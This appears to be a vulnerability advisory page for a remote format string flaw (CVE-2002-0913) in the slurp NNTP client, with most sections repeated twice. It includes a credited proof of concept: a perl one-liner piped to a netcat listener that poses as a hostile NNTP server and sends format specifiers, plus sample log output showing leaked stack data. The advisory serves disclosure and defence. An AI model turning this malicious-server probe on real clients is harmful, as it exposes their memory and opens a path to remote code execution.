Slurp SysLog Remote Format String Vulnerability
BID:4935
Info
Slurp SysLog Remote Format String Vulnerability
| Bugtraq ID: | 4935 |
| Class: | Input Validation Error |
| CVE: |
CVE-2002-0913 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 04 2002 12:00AM |
| Updated: | Jul 11 2009 01:56PM |
| Credit: | Vulnerability discovery credited to zillion <[email protected]>. |
| Vulnerable: |
Stephen Hebditch slurp 1.10 |
| Not Vulnerable: | |
Discussion
Slurp SysLog Remote Format String Vulnerability
slurp is a freely available, open source NNTP client. It is designed for use on most Unix and Linux operating systems.
It may be possible for a remote server to execute code on a vulnerable client. slurp offers functionality that allows the software to write messages to the system log. A format string vulnerability in the syslog function may allow a malicious server to supply a custom format string that writes to an arbitrary address in memory.
slurp is a freely available, open source NNTP client. It is designed for use on most Unix and Linux operating systems.
It may be possible for a remote server to execute code on a vulnerable client. slurp offers functionality that allows the software to write messages to the system log. A format string vulnerability in the syslog function may allow a malicious server to supply a custom format string that writes to an arbitrary address in memory.
Exploit / POC
Slurp SysLog Remote Format String Vulnerability
This proof of concept was made available by zillion <[email protected]>:
To find out you have a vulnerable slurp, connect to this:
perl -e 'print "200 Hello brother \n666 %x%x%x\n'" | nc -l -p 119
Then check /var/log/messages for something like:
Jun 5 05:10:22 yada slurp[39926]: do_newnews: NNTP protocol error: got '666 bfbff4f8804bc1bbfbff51c'
This proof of concept was made available by zillion <[email protected]>:
To find out you have a vulnerable slurp, connect to this:
perl -e 'print "200 Hello brother \n666 %x%x%x\n'" | nc -l -p 119
Then check /var/log/messages for something like:
Jun 5 05:10:22 yada slurp[39926]: do_newnews: NNTP protocol error: got '666 bfbff4f8804bc1bbfbff51c'
Solution / Fix
Slurp SysLog Remote Format String Vulnerability
Solution:
This package was last maintained on February of 1995. A vendor-supplied fix is unlikely.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
This package was last maintained on February of 1995. A vendor-supplied fix is unlikely.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Slurp SysLog Remote Format String Vulnerability
References:
References: